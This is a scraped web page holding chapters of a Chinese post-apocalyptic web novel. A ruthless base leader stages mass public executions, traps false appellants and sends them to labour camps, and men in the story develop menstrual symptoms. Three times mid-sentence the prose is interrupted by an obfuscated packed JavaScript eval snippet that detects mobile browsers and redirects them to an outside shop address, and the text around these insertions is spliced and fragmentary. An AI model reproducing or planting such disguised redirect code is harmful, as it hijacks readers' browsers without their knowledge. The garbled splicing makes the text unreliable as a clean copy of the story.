“……那不是也没出事吗?” “他给咱锅里下老鼠药,你忘了?” “……那不是洗胃救回来了吗?” “他大半夜发疯,把咱打得半死你忘了?” “……那不也没真打死嘛?” “他还给村里的水井下毒!” 老头吭哧吭哧:“那也没吃死人啊。” 老婆子把衣服一撂,恶狠狠道:“就算能把人捞回来,村里肯定不会留咱了,以后没房子住,没救济粮领,去睡街头?那时候你儿子靠得住?” 老头不说话了,过了一会儿又嘟嘟囔囔说:“这没儿子,以后谁摔盆?老张家的根断了,怎么跟祖宗交代……唉,吃一辈子牢饭也行啊,那基地长一个女娃,咋心那么狠?” 某工厂里。 几个工人一边干活,一边蛐蛐一个低头干活的女工:“就是她举报的她老公?” “说是她是被她老公抢来的,哎呦喂,当年十年大灾,那个乱啊,一个男人愿意养一个女人心够善了,好吃好喝供养这么些年,她转头就把人给卖了,真是没良心。” “听说不止是这样,还逼她卖,两口子一起搞仙人跳,前些年还弄出了人命……” “你都说两口子一起搞的,谁知道是谁的主意,怎么就把男的枪毙了,她一点事都没有?谁知道是不是男人把所有罪都扛下来了!” “就为这个,她那儿女也不认她了,要她去翻供。” “这样蛇蝎心肠的女人,是不能认,看着吧,她老了有的罪受。” 那被议论的女工低下头,紧紧抿着唇,只顾埋头工作,仔细看,目光有些游移。 她只是想摆脱那个男人,真没想到他会被判那么重啊。 某医院里。 一个断了腿的男人躺在病床上,一群人围在病床边七嘴八舌地劝着。 “你哥就是一时糊涂,他要是真想害你,你就死在外面了。” “你是异能者,你哥只是普通人,他心气不平也是有的,你大度点。” “兄弟间的矛盾,怎么就变成要枪毙了,传出去对你名声就能好了?以后谈对象,人家一听你把你哥往死里逼,心里能不发怵?” “二凯,你多想想小时候你哥对你的好,现在去求轻判还来得及!” 躺在床上的男人被左一句右一句,终于说得心软起来,想到从前的兄弟情深,他也不禁眼含热泪。 他们兄弟,怎么就走到这一步了。 …… 「江覆」看着情报部送来的一个个苦主动摇的消息,没有一丝情绪波动,既不失望,也不意外,早就料到的事情。 她就是有些好奇,这些动摇的人,什么时候会冒头? 她等啊等,等了三天,也没有哪个苦主冒出来说要求轻判的。 看来动摇是动摇了,但真这么放过也不甘心,更怕因此损害自身的利益。 “州长,执行时间马上就要到了。” 「江覆」起身,拍了拍衣服上不存在的灰尘:“走吧。” 中心广场上,一辆辆囚车已经到位,一个个死刑犯被拷着手铐脚铐带出来,排排站好。 警戒线外全是围观的人,现场甚至还有电视台直播,保证让整个基地的人都能收看这场难得的公开处决。 随着「江覆」的到来,喧闹的现场猛地安静下来,众人看着那个登上高台的人,看着大屏幕将她的模样放大,笔挺的身姿,肃穆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581683|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情,冷厉的眼神。 这还是「江覆」继任后,第一次公开亮相。 她无疑是长得很好看的,但容貌是上位者最不值一提的地方。 当她站在高处,所有人都忽略了她的容貌,只有那强大的气场和威严的气度,沉沉地压在所有人心头,叫人看一眼就心下震动。 本来还有一些人从人群里冲出来,大声求情,或是指责「江覆」残忍,但「江覆」只是淡淡扫过去一眼,对方就僵直当场,然后被人迅速拖走。 现场骚动了片刻,随即是更深的沉默。 大家看着高台上的人,有些恍惚有些瑟缩,这就是特云州新任州长、覆安基地的基地长,整个特云州的最强者! 「江覆」看着黑压压的人群,并没有去想这些人里有多少等着发难,有多少各怀鬼胎,有多少人对着她乖顺恭敬,但其实内心根本不服她。 她朗声开口道,声音随着话筒传扬开去:“在场的各位、直播前的各位观众们,特云州及覆安基地的同胞们,今天,我江覆站在这里,要公开处决4151人。有人说,我是为了展示我的权力,有人说,我是为了用四千人的血,来烧旺我新官上任的第一把火。 “而我想说,我今天在这里,是为了守住法治与道德的底线,是为了给大家敲一次警钟,让人们郑重认识一下,何为对,何为错。 “你们眼前这些人,有的,在危机中推别人出去挡刀;有的,滥用职权,贪污群众的救命粮;有的,因为见不得别人比自己过得好就痛下杀手;有的,心理扭曲,专门对着小孩和弱者下手;有的,一心报社,一天到晚想着把病毒带进基地,各个地方投毒…… “这些人,都是危害基地安全、危害群众利益的危险分子。今天,我在这里处决他们,就是要清理基地里的蛀虫,让基地变得更团结、安全、美好。 “我希望所有人引以为戒,所有要破坏我们家园的存在,都是敌人,都应该被消灭!” 「江覆」看着鸦雀无声的人群,沉声道:“现在,验明正身,执行!” 话音落下,死刑犯们头上的黑色罩子被摘下,当场验明正身,然后—— 砰砰砰砰! 枪声响起,一具具身躯倒地,鲜血溅了满地。 无数人没看多久就呕吐或者晕倒,到最后,广场上甚至没有多少人围观了。 但「江覆」从头到尾站在高台上,没有离开过,冷眼看着这一切。 人们看着这刺眼的血和逐渐了无生息的一排排尸体,再看看大屏幕上,「江覆」冷峻无情的脸,忍不住打了个寒颤。 …… 这一天,广场上的枪声响了一整天,鲜血和脑浆涂满了整个广场地面,尸体用板车一车一个地拉着,沿着长街游行。 什么身后的尊严体面,没有的,这些人不配,就是要人们认清、记下这一张张罪恶的脸。 而「江覆」的这一手,在狠狠震慑了众人之后,很快引起了逆反,她暴戾残酷毫无人性的名声很快传开,之前那些迟迟不冒头的苦主们,也终于一个个跳出来喊冤了。 「江覆」回到办公室,听闻这些,冷笑一声:“去,添把火,就说有许多人是被冤杀的,是我为了凑人数凑大场面,而强行塞进名单里的,让人们觉得,要是能闹得案子改判,能拿到大笔赔偿。” 秘书欲言又止地看着她,最终还是默默应下了。 「江覆」双手搭着下巴,眼底是跃跃欲试,展现了她独断残暴的一面,也该展示展示她的不按常理出牌了。 另一边,江覆关掉了电视台直播,敲了敲桌子:“广场上藏了很多精神力异能者,他们模糊了犯人的面容、人们的认知……” 她喃喃道:“四千多人,至少有一半没死,这家伙是要玩大的啊!” 正抽一个耳光不过瘾,她还要狠狠反抽一个更大更响亮的。 自己让她顺势而为,她举一反三,来个钓鱼执法。 比自己那会儿疯多了。 她勾起嘴角,看向窗外,真正的暴君,要诞生了。 10. 特管局 也许是因为有了「江覆」这个基地首领的推波助澜,公开处决案的后续影响,比曾经要大得多,甚至比江覆想象的还要夸张。 起先只是有人议论,没几天,各区各地行政客厅里外都堵满了人,说基地制造冤案,接着是法院门口一堆人静坐。 继而开始有工厂罢工,说是工厂老板被冤杀了。 然后是一些异能者队伍发声,理由是死刑犯中的某些异能者是被冤枉的,为此,一些异能者组织连日常基地外清扫、巡查任务都不接了。 再之后是某商会代表公开要求重审案件,再是某城区工人代表、某城区人民代表、某已经退休的高级领导纷纷出来发声,连民间颇有名望的慈善基金负责人,都公开发言,让司法机构尊重生命,让基地长给大家一个说法云云。 再后来,某些地方甚至出现了大规模的游行抗议。 江覆冷眼看着事态发展,看到最后,她都困惑了。 她开始回想,自己继任初期,这么不得人心的吗?放眼望去,竟然全是反对的声音。 算了,不想了,这些人反对自己肯定是他们的错,多诅咒几个人消消火吧。 她是兢兢业业地继续忙活去了,而「江覆」就是出离愤怒了。 啪! 桌上的东西被全部扫落,「江覆」暴跳如雷:“好啊,好啊!我不过推了一把,一个个全部迫不及待跳出来了!游行都出来了,什么灭绝人性,什么至暗时刻,什么基地到了生死存亡之际这种口号都想出来了!我是做了什么天怒人怨的事吗?我杀的确实是人渣而不是四千个圣人吧!” 属于七阶强者的精神力风暴在办公室内席卷,在场所有人都默不吭声,生怕弄出点动静把这个霸王龙点了。 「江覆」看着地上那些情报,冷冷道:“江时月!” 江时月上前一步:“在。” “那些搞游行的地方,都记下来,当地政务厅不劝阻不上报不约束,回头全给撸了,那些搞罢工的工厂领导,那些拒接任务的异能者组织领袖,那些带头闹事、静坐、游行的……都给我好好查是什么成分! “还有那些人民代表工人代表,老娘搞民主,他们才当得了代表,真以为能代表整个群体发声了?那什么基金会负责人,他们是做了些好事,但从基地这拿到了各种隐形福利还少了?吃我的饭砸我的碗,真是显着他们了! “这些人,有一个算一个,都给我查!” 江时月:“是!” 「江覆」:“沈沐云!” 军团长沈沐云上前道:“在!” “加强基地各出入口警戒,防止有人在这个时期搞事,各城区驻兵五千,垂直接管各地武装部。” “是。” “宋萧萧!” 异能者协会理事宋萧萧:“在。” 「江覆」拧眉看她:“异能者协会对异能者还有没有约束的能力了?” 宋萧萧道:“前州长去后,协会会长一职空悬至今,最近,两位副会长都抱病……” “重要的时候都病得管不了事,还有什么能指望他们的?既然病了就一直病下去吧,你暂代会长一职,去问问那些闹事的异能者,他们到底想做什么!” 宋萧萧迟疑:“可我才六阶……” 她看向一旁那位沉默不语的短发女子,若是州长不愿兼任协会会长,这里还有一位七阶…… 「江覆」道:“你背后是我,你怕什么?我把异能者特战队的指挥权暂时移交给你,去吧,告诉他们,别以为是异能者就金贵了,覆安基地不缺异能者,军工厂也不缺能让异能者脑袋开花的子弹!” 宋萧萧:“是!” 等几人都陆续离开了,「江覆」沉默一息,看向那位短发女性。 她已经五十来岁了,但看起来不过三十出头,是一位非常英气的女性,只是气质过于冷肃了些。 这就是覆安基地除「江覆」之外的另一位七阶异能者,梁谢。 她把一份企划书拿给梁谢:“梁姨,特管局就拜托给你了。” 梁谢翻开看了一眼就抬头看她:“把这么重要的事情交给我,你胆子不小。” 「江覆」笑了:“你和母亲风雨同舟数十年,是母亲最重要的伙伴,自然也是我最敬重的长辈,这件事也只有交给你,我才能放心。” 梁谢眼神复杂地看了她一会儿,起身道:“这件事,我会办好的。” 「江覆」看着她出去的背影,眼眸深深,最后轻轻一叹:“希望你不要让我失望。” …… 很快,一个消息传遍基地:基地成立【特事特情管理局】,简称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581684|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特管局,受理上诉状,重新审理四千起公开处决案,若有新线索,欢迎踊跃投递。 一旦翻案,不仅被执行人家属、代理人能得到一笔赔偿,提供新线索的人也会得到奖励,协助翻案的相关官员也能记一功。 一时间,特管局这个新衙门顿时门庭若市,无数人提供各种新线索,最多的就是那原告亲自来翻案的。 因为事多且杂,需要大量调查人手,于是特管局一落地便疯狂扩招人手,短短几天就初具规模,而且审理案件非常迅速,很快就完成了上千个案件的前期调查。 一转眼,便是特管局公开审理第一个案件的日子。 这一天,特管局大门洞开,无数人前去旁观。 江覆也去了,她混在人群里,看着特管局的人直接在空地上布置桌椅,显然是要露天审理。 边上人们窃窃私语。 “这个特管局到底是哪里冒出来的,直接把法院的活抢过来干了。” “何止是抢法院的活,它抢的活多了,特事特情都要管,权限得大到什么程度?” “江覆这是要在各部门上面,弄一个婆婆部门出来!” “只是婆婆还好了,我看她是要架空某些部门。” “要不说这女人狠呢,人家不听她的,她直接就来个釜底抽薪。” 江覆看过去,说话的是几个男人,很巧,就是那天晚上她偷看他们密谋的那几人。 短短半个月没见,这几人如今是脸色发白、眼底发青,有的扶腰,有的捂小腹,有的头痛一般地按着头。 完全没有了当时谋划大事的意气风发。 尤其那个领头的斯文男人,整个人血气不足,浮肿憔悴的样子,明明是艳阳天,却穿着好几件衣服。 “文博哥,你怕冷啊?” 李文博烦躁说:“没有。” “说起来,我最近总是拉肚子,肚子总是坠坠的,也不知道为什么,吃药也吃不好。”一个壮实的男人有气无力地说道。 “我是长了一脸的痘,心情烦躁得很,真是奇怪了。” “你们都还好,我一天到晚腰膝酸软,提不起力气。” “不会是肾虚吧?” “去你的!” 江覆淡淡收回目光,身体在适应新的激素水平,正常的。 11. 第 11 章 很快,场地布置完成,一队人从办公大楼里出来,走在最前面的女人一身黑色正装,短发乌亮,一丝不苟,神情冷峻,气场威严。 江覆的目光死死黏在了这个人身上,梁谢! 她的手指不自觉地掐紧,待在她口袋里的黑猫察觉到她的异常,挣扎着钻出一个胖了一圈的猫脸:“看到谁了?那也是你的仇人?” 江覆沉默片刻说:“她不在我的复仇名单上。” 但没有否认仇人的说法,黑猫自动理解成,关系不和睦,是敌非友的状态,但又还没到要特意找上门去报复的程度。 意识到江覆心情不妙,黑猫打哈哈:“话说,你们这儿人都好闲啊,都这么热衷于看热闹。” 江覆淡淡说:“末世第五年,是一个特殊的年份,经过五年战斗,在这一年,丧尸也好、异兽也好,对上人类都已经处于弱势。尤其是在覆安基地这种大型基地,需要出去战斗的才是少数人,大部分人在基地里,除了物资比较匮乏,其他方面并不差,反而因为娱乐活动少,很热衷于给自己找乐子。直到……” 直到母亲去世,丧尸和异兽突然迎来一次爆发期,人类这才措手不及,狼狈应对。 这应该就是小说里所谓的,母亲的死亡,代表着末世进入白日化吧。 说白了,就是第二部开篇,需要一个强刺激来进入剧情。敌人不强大起来,生存压力不大起来,第二部剧情怎么走? 想到这里,江覆心情更差。 黑猫默默缩回去,不敢吱声了。 随着梁谢的出现,现场一片寂静,尤其边上那几个男人气压格外低。 “梁谢啊。江覆居然敢把她弄到前台,还做这么重要的事情。” “难怪特管局能这么短时间成规模。” “这个女人要是真站在江覆那一边,事情就难办了。” 李文博看着梁谢落座,冷哼一声,压低声音说:“担心什么?梁谢当初被江珺荣那么下面子,她那一系差点被撸成光杆,就算梁谢不计前嫌,拥护她的人也不会不计较。” 那个壮实的男人也哼笑:“说的是啊,末世以来,梁谢那边一群元老被江珺荣压得那么狠,现在江珺荣死了,那些人能没有一点想法?我们就看这两个女人狗咬狗吧!” 他们声音压得极低,几乎是用气音交流,偏偏江覆耳力很好,江覆又看了他们一眼,果然这几条狗讨厌得很,要不还是诅咒他们变哑巴吧。 她看向正襟危坐的梁谢,想到的是自己死后,梁谢作为特云元老,被盛英华他们请回覆安基地,安抚人心。 她来到自己的铜像前,将母亲最后的遗物烧给自己,一边轻声说:“当初你说,你不想和我刀戎相见,所以我退出了基地,没想到,再次回来是这个场景。你死了,你母亲的痕迹也被抹除得干干净净,史书工笔之下,不会再有人记得你们为这片土地付出过的一切。” 江覆闭上眼,耳边不断浮现梁谢的诛心之语:“你母亲若活得久,你绝不至于落到这步田地,你若活得久,也不会连你母亲身后名都护不住。看来,比起短暂的惊艳,还是要活得长久啊。” 梁谢往人群里扫了一眼,开口道:“开始第一个案子吧。” 于是,一群人被带了上来。 一个一脸可怜相的干巴老头,一个满脸写满冷漠的老太,一些看起来老实巴交的村民,以及一个西装革履的代理人,和几个看起来应该是经办案子的工作人员。 一上来,那干巴老头就哭诉起来。 原来他儿子叫李威,犯的过错就是不孝顺父母,对父母有“轻微”虐待行为,他们做父母的只是想让基地教育教育儿子,没想到竟然被判了个死立执。 “阿威那孩子小时候可孝顺了,可乖巧了,他就是一时想岔了,我家这个老婆子也是大惊小怪,这点子家务事还、还报警了!” 这老头一行哭一行指着老伴骂,简直把对方当成了杀子仇人一般,那老太就冷着脸坐在那里,一言不发。 梁谢等人哭诉完了,才拿起卷宗说:“李威被判死刑的主因,是他在李家村水井中下毒,报案的是李家村村长,李堂山。” 老头一梗,一旁那李家村村长忙说:“都是误会,那日我听村民说,李威往水井里撒了什么东西,以为是投毒,就连忙报警了,人家一查验,说是下毒了,但后来,那水井里的水大家都吃了,也没谁中毒啊。” 梁谢平静地望着他:“你的意思是,出警的治安员失职,鉴识科作假污蔑?” 村长磕磕巴巴起来:“可能,可能是弄错了吧。” 梁谢看了看卷宗:“当日出警的治安员,丁晨和王安阳,鉴识科于莹莹,鉴定中心段芳来了吗?” 三女一男出列,两个治安员把当日如何接到报警,如何出警,如何维护现场仔细说了,至少他们到了之后,没有人再靠近水井。 鉴识科于莹莹表示她一到现场,立刻就给井水取样密封,整个过程,都在现场村民眼皮子底下进行,之后样本就在治安员护送下送回鉴定中心。 然而,鉴定中心段芳捏紧了衣角,在沉默片刻后,忽然说:“我拿到样品后,立刻进行鉴定,全程在监控下进行,但、但其实,我背着监控,把样品掉包了,掉包了之后的样品才是有毒的!” 于莹莹三人唰地扭头震惊地看着段芳,之前接受调查的时候,她可不是这么说的,居然现场反水! 于莹莹大声道:“段芳,你疯了吗,为什么要这么说!” 段芳不敢看她的眼睛:“是有人叫我掉包的,我也是没办法。” 李威父亲大喜:“是吧,是吧,我就说阿威那孩子绝对不可能下毒的,呜,我可怜的孩子啊!老头子我真是恨不得和他一起死去啊!” 说着又捶胸顿足地痛哭起来,这个一把鼻涕一把泪的哭诉啊,要多可怜有多可怜,简直把一个失独父亲的心酸痛苦展现得淋漓尽致。围观人群不由得都同情起来。 李村长也呜呜地哭道:“原来李威真是个好孩子啊,是谁,到底是谁要陷害他!” 几个村民也义愤填膺,甚至拿出了一条白布,上面是李家村众人的签名,都是支持李威轻判的,可惜,他们根本来不及做什么,李威就被执行死刑了。 这时候,一旁的代理人出来说话了,这人叫吴得志,本职是个律师,他一出来激昂顿挫:“各位,这个案子很明显就是栽赃嫁祸,李威不知道被卷入了什么阴谋诡计中,就这么失去了年轻的生命!李威之死,让一对年迈的父母失去了唯一的儿子,让一个年轻人失去了本该有无限可能的生命,让整个李家村笼罩在一片阴云之下……” 巴拉巴拉巴拉,反正主要意思是,这其中的损失,基地必须承担! 吴得志成竹在胸,眼里透出势在必得的光,那人可是跟他说了,只要能让这个案子被改判,哪怕只是改一点点,他都能得到天大的好处! 李村长等人也是激动起来,只要改判,基地一定会给赔偿金,那两口子一把年纪了,还能活几年,到时候,那赔偿金还不是落到村里?那跟落到他们自己口袋里有什么区别? 李威父亲一边抹泪一边在心中松了口气,又不禁悲从中来,基地杀了他的儿子,现在只给他点钱,他可怜的阿威啊! 梁谢看着这些人几乎把算计写在脸上的模样,没有一丝波动,正要开口揭露段芳被收买的内情,人群中一个声音却突然传来:“看来,李威死得真是很冤枉啊!” 众人都转头看去,只见「江覆」站在人群中,一副感慨唏嘘的样子。 众人哗然。 “江覆!” “基地长!” “她怎么在这里?什么时候来的!” 李文博那几人看到「江覆」就跟看到鬼一样,慌乱地往其他人身后躲,这人什么时候出现在这里的?刚才他们说话没有被她听到吧? 黑猫直接炸毛:“她怎么在这里的?我的天哪,你和她居然就相距不到二十米,你……” 江覆却很淡定,还拿出一副墨镜戴上,避免出现和「江覆」眼神对视的情况。 黑猫:“……你你你早就知道她在?” 江覆平静道:“第一个案子,她到场不是很正常吗?” “那你还敢来!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581685|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “试试这半个月有没有长进罢了。” 长进确实是有的,不过不是特别大,她徐徐吐出一口气,感觉自己整个人的骨头都在悄然融化,又不断重塑。 …… 「江覆」在众人畏惧的注视下,一步步走出人群,来到李家村等人边上,梁谢站了起来:“州长。” 「江覆」摆摆手,让她坐,她看着李家村诸人,拿起了那张写满签名的布,说:“所以,你们整个村子都非常非常为李威惋惜啊。” 众人不明所以,都下意识点头,吴得志缩起了脖子,再不复刚才的侃侃而谈。 「江覆」看向一旁,那从头到尾一言不发的老太太:“老太太,你也觉得,你儿子死得冤枉吗?” 老太太缓缓抬起眼,眼里写满冷漠,终于开口道:“不,李威该死,他好几次想要我的命,他该死!他绝对有投毒,投的是毒那个异兽异虫的药,家里少了一包药,就是他拿走的!” 李威父亲闻言暴怒:“老婆子,你你你——”他一拍大腿,唱念做打起来,“你就因为阿威对你发了几次脾气,就……最毒妇人心啊……” 「江覆」横了他一眼,他顿时跟被掐住脖子一样,不敢再冒半个音。 「江覆」看向老太太,眼神缓和下来,重重握了握她的手,转而对众人道:“既然你们都那么为李威的死惋惜,那我就把他还给你们吧。” 众人愕然,这是什么意思。 下一刻,人群又被分开,两个人押着一个人上前,头套一摘,露出来的不是李威的脸又是哪个? 这一瞬间,从李威父亲到李村长,从吴得志到围观群众,都一脸的呆若木鸡。 便是梁谢,都微微错愕了一下。 她看向「江覆」,原来,是这样计划的。 什么重审案子,什么引出不安分的人,什么要让人看看她到底是不是冤杀了那么多人,都不是重点。 她真正的目的,是狠狠扇那些在背后这样那样谋划的人一巴掌,扇那些想要从基地里吸血的人一巴掌。 「江覆」看着一干惊呆的人,笑眯眯地说:“我后来仔细审阅了整个案子,李威啊,确实是罪不至死,不孝顺父母而已嘛,家务事啦,在村里投毒嘛,又没造成什么严重后果是吧,怎么能就这么轻易夺去人一条命呢? “不过把这么一个人放出来,我也觉得有点不大合适,我就跟李威说,你对不起的人是你父母和李家村的人,要是他们这些苦主愿意原谅你,你就能减刑。” 她说着,哥俩好一般拍了拍李威的肩膀:“这不,你们村的人都好心疼你,非常大度地原谅了你呢!” 李威看着一干李家村人,眼前浮现的是他们愤怒地咒骂自己去死的嘴脸,他们是原谅自己吗?他们只是为了拿到赔偿金,睁眼说瞎话罢了。 可惜,搬起石头砸自己的脚罢了。 他咧了咧嘴,把李家村人笑得一个激灵。 「江覆」又说:“不过李威啊,你死罪可免,但活罪难逃,无论怎么说,你还是犯了罪的。” 李威哑声道:“谢谢州长给我机会,我愿意接受劳动改造。” 「江覆」点点头:“有觉悟。” 她抖了抖手里那白布:“但你一个人改造的话,恐怕要改造一辈子,才能赎轻身上的罪过啊,这李家村人既然都觉得你的罪没什么大不了,我看,他们很愿意帮助你一起完成改造呢。尤其是你父亲,还说恨不得和你一起死,那想必是一时一刻都不愿意和你分开的。” 她像个病娇似的,露出了森森笑容,点点白牙在阳光下亮得晃眼,却把李家村人吓得魂都要飞了。 「江覆」丢开手里的白布,慢条斯理地理了理袖子,轻飘飘地说:“在场除徐翠容(李威母亲)外所有李家村人,包括这位代理人,以及白布上所有签了名的人,即刻拿下,和李威一起,送去劳改场。” 敢联手做假证,妄图愚弄她,愚弄特管局,就该做好这个心理准备。 她瞥了眼从她出现起,就整个人瑟瑟发抖,恨不得把存在感缩到最小的段芳。 “段芳,罢职,查!” 12.第 12 章 「江覆」这一手骚操作,把所有人震得回不过神。 还能这样?竟能这样? 所以她一开始就没打算杀李威,而是用一个“李威之死”把想跳的人都引出来,然后来个一网打尽! 怎么能这样! 围观人群都傻了,其中的李文博之流更是气得浑身哆嗦,一个堂堂基地长,怎么能这么、这么不要脸!这跟把狗骗进来杀有什么区别? 他们立刻就要把消息传出去,告诉他们的同伙,情况有变,暂时先缩着。 然而拿出手机一看,没有信号! 再看其他人的手机,也没有信号! 李文博蹭地抬起头,越过一道道人影看向站在那里,闲适淡然看着李家村人懊悔哀求的「江覆」。 信号屏蔽! 她是故意不让这里的消息传出去的! 是的,「江覆」早已经吩咐把这里的信号给屏蔽了,当她出现在这里的时候,基地其他地方,也在发生同样的事情。 那一千余个苦主反水上诉的案子,几乎在同一时刻进行了重审,彼此之间消息无法流通,那些跳出来叫唤的人,自然就不知道,前方等着他们的,是劳改场大套餐。 不把这些蹦跶的一次性全打痛了,岂不是白费了她做的这个局? 她看着周围骚动不安,想要离开的人群,微笑道:“大家来都来了,何必急着走?梁局长,接着审第二个案子吧。” 哗啦一声,外边大门被闭合,周围不知道从哪里冒出来一支队伍,把围观群众全部围了起来。 众人:“……” 逼着他们继续看下去是吧,这纯纯土匪行径啊!这新基地长怎么是这个样子的?以前怎么完全没发现? 梁谢深深看了「江覆」一眼,重新坐下,叫人把第二个案子的人员带上来。 江覆没有再看下去,她趁人群议论的时候,悄然往后退去,怨气裹挟着她的周身,光线在经过她体表的时候被扭曲,达到了一种类似隐身的效果,甚至连监控都拍不到她的存在。 她就这么在门口守卫的眼皮子底下走了出去。 人群中,「江覆」忽地抬起头,朝门口方向看去,下一刻,她人已经不在原地,径直出现在大门口。 她在大门口左右张望,该死,又感应不到丝毫气息了。 她就这么走了?不对,她什么时候来的? 自己居然毫无察觉,这家伙上次走楼梯都能摔,这次居然在她跟前来去自由,这是进化了吗? 她脸色有些难看。 梁谢追出来:“州长,怎么了?” 「江覆」定下神来:“没事。” 但她也没有了继续待在这里的兴致:“梁姨,接下来就交给你了,反正谁跳出来,都往劳改场送就是了。” 梁谢:“……是。” …… 这一天,一千多个案子重新审理下来,一千多批人掉进了坑里,基地某矿区里新落成的劳改场,一下子迎来了上万人,生产效率蹭蹭上升。 不仅如此,被牵连的人还在不断增多,就比如段芳那样被收买的人,背后的人被查出来,拔出萝卜带出坑,那又是一大串。 「江覆」:接下来基地里的重苦力活是不愁没人干了。 那些想搞事的人:怕了,是真的怕了,这个新州长,不按常理出牌,正理歪理都在她那里,别跟她作对,不然天知道她挖了什么陷阱在前面等你。 老实听话不想搞事的人,弄明白前因后果后:州长厉害,州长威武! 总之,「江覆」先杀了一批,再坑进去一批,完了再连坐一批,把该收拾的人收拾得利利索索的,新官上任的第一把火烧得旺旺的,一时间,那些议论她的声音都小了很多,基地里陷入一种奇异的平静和谐。 之后,「江覆」工作也好,开会也好,下达什么政令也好,那叫一个畅通无阻,她都有点不习惯了。 而且,她发现,之前说她残暴的声音,几乎都没有了,她还有点失望来着,她其实对于做一个暴君也是不排斥的,现在大家不反对她了,她都不好意思再搞什么骚操作了。 就是有一点,她发现目之所及的男下属们状态普遍都不大好,浮肿憔悴的,头痛胸痛的,腹胀腹泻的,食欲不振的,精力不济的,腰酸乏力的,反正一个个都有点半死不活。 「江覆」跟江时月吐槽:“他们是拿我没办法了,所以用这种消极状态来做无声抵抗?” 江时月:“……” 江时月:“说正事吧,最近我们发现,野外的异兽特别躁动,变异植物则生长地特别快速,还有丧尸也非常躁动,正午阳光最烈的时候,也频繁活动。” 「江覆」皱眉:“事出反常必有妖啊,我要亲自出基地去看看,正好,我本也打算外出巡查。” 顿了顿她猜测道:“你说,男人们的反常,和这些东西的变化,有没有什么关联?” 江时月一愣,有些迟疑:“应该没有什么关系吧?如果有影响,怎么会只影响男性?” 秘书匆匆进来:“州长,江部长,那个李文博出事了。” 江时月道:“就是那个在背后谋划的小头目之一?他不是刚被抓进去,出什么事了?” 秘书脸色有点奇怪:“他尿血了。” 江时月:“……啊?” 「江覆」也无语:“尿血就尿血呗,肾不好就自己花钱就医,没钱就扛着,反正我不会当冤大头给看病的。赶紧给他调查完,赶紧送去劳动改造。” “不是,他不止尿血了,还淋漓不尽,他的几个同伙也尿血了,还有被关押的其他人也……医生检查后说好像不只是尿血这么简单,让您去看看。” 「江覆」和江时月对视一眼,都有些惊奇。 等他们感到关押的看守所,哇塞,好重的血腥味,李文博和他的同伙们,还有其他几个被抓进来调查的男人,一裤子的血,倒在床上,捂着肚子,翻来覆去,疼得面无人色,嘴巴都咬烂了,哎呦哎呦的痛呼声此起彼伏。 「江覆」捂了捂鼻子,用精神力屏蔽掉血腥味,问医生:“他们是中毒了?还是你们用刑了?” 正常尿血也不能尿成这样啊。 医生是研究所医疗科调过来的邪修,他对着一摞检查单子左看看右看看,眉头紧皱,仿佛看到了什么世界奇观,然后叫「江覆」:“州长,您来看看这个。” 「江覆」:“……我也看不懂啊。” “反正就是这个,激素不正常你知道吧?我们把各种常规的不常规的手段都试过了,都没法止血,结合他们之前几天的症状,再结合他们当下的症状……”他嘀嘀咕咕一大通,然后总结道,“垫个尿垫,吃点止痛片,多喝点热水,然后观察个几天吧,没准一两天两三天三四天后就好了。” 「江覆」惊讶地看着他,然后又看看李文博等人,再看看这邪修,再看看那些家伙,表情逐渐神奇。 她好像听懂了什么,又不太敢确定:“你的意思是?” 邪修已经淡定下来了,一副见多识广的样子,捋了捋不存在的胡须:“这世道,什么奇怪事没有,男人来个月经也正常吧。” “嘶——”「江覆」倒抽一口气,想了想那些男人的症状,真的有点像严重一点的经前综合征啊。 她脑袋有点晕,飞快思索着这事要是真的,对基地的发展有没有什么影响,对自己未来的规划有没有什么影响,男人有这样颠覆性的变化,女性会不会也冒出个什么奇怪的病症…… 她来回转了几圈,搓搓脸:“你确定?” “那还是要先观察一两个周期才能确定,而且样本不够多……” 「江覆」大手一挥:“来人呐,把单位里那些出现症状的男职工,都拉去体检!还有,全基地搜寻出现相似症状的人,就说可能是新型疫病,谁都不许隐瞒病情!” 刚安排下去,她的手机就震动了,这熟悉的震动感,她拿起来一看,果然是那个眼熟的号码。 【送你的礼物,喜欢吗?】 …… 江覆坐在一家私人诊所对面的咖啡店里,慢慢喝着一杯咖啡。 末世中,也就这种大型基地里,还能有这种华而不实的店铺了。不过,虽然华而不实,但因为如今咖啡珍稀,卖得很贵,来消费的都是高收入人群。 什么咖啡店、奶茶店、甜品店,还有酒吧、夜店、影厅什么的,经营成本很低,但挺能给基地财政创收的。 可惜,随着“末世白日化”,生存环境再次恶劣起来,这些店铺会逐渐经营不下去。 